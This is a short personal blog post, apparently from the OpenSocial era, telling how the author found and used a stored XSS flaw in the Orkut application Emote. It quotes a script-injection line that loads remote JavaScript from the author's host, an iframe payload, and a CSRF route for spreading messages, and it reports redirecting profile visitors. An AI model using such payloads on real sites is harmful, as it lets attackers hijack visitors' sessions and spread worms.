Well, fine...I am kidding. This is nothing big enough to brag about. I have not hacked orkut, or open social, just used a stupid bug in a small application. I put that message for people to see when they visit my profile on Orkut and are automatically redirected to this blog !! :)
Though it has had its own set of attacks, this is something to do with badly written, widely used OpenSocial applications. I had written about a hack that I was working on, and here it is, up and running. The application under the scanner is called Emote, an application that I have seen many people use. The application DOES NOT have any checks for XSS, and putting a script in was as simple as typing it into the text box.
When the application has to display the message from the user, all it does fetches the data from the server and puts it into the innerHTML of some page elements. Malicious content is not scanned and is simply inserted into the page. Since the 'innerHTML' is used, we can insert script tag, but that will work only on IE.
All I did was insert something like
var x = document.createElement('script'); x.src='http://n.parashuram.googlepages.com/emotehack.js';
and I could get my malicious script stored on my server to run what ever it wanted, in the context of the application. For anyone visiting the page, this script get executed, exposing the visitor's instance of the application to attack. Hence, you can potentially send messages to the application, further allowing the spread of the attack. I am NOT demonstrating it here for the sake of responsible disclosure (duh !!) but ping me if you have not figured out the details!
However, this is still in the context of this application only, and will work for my friends, or people visiting my profile page only on the IE family. Firefox does not execute scripts that are appended using the innerHTML.
Though I may not be able to spread this, I definitely can redirect people to a different domain by appending an iframe as an emote. In the emote text box, I would effectively have something like
<iframe src = 'http://n.parashuram.googlepages.com/emotehack.html' > </iframe>
The iFrame source could combine it with a cross site request forgery trick to post messages to the application, effectively achieving the same effect that we did for IE. For emote, all emotes are HTTP POSTED to the url /ig/proxy?output.js with a POST parameter url and a value that is URL encoded with the string. You can figure that out easily with Tamper data.
In summary, you effectively saw anyone's profile page could be hijacked by a small bug in any opensocial application. I am currently exploring way to exploit this hack to affect other application also, so watch out this space for any findings. I would also love to hear any cool tricks that you have in your bag !! :)
UPDATE : They finally fixed it. It was a simple fix, both at the front end, and at the backend !! :)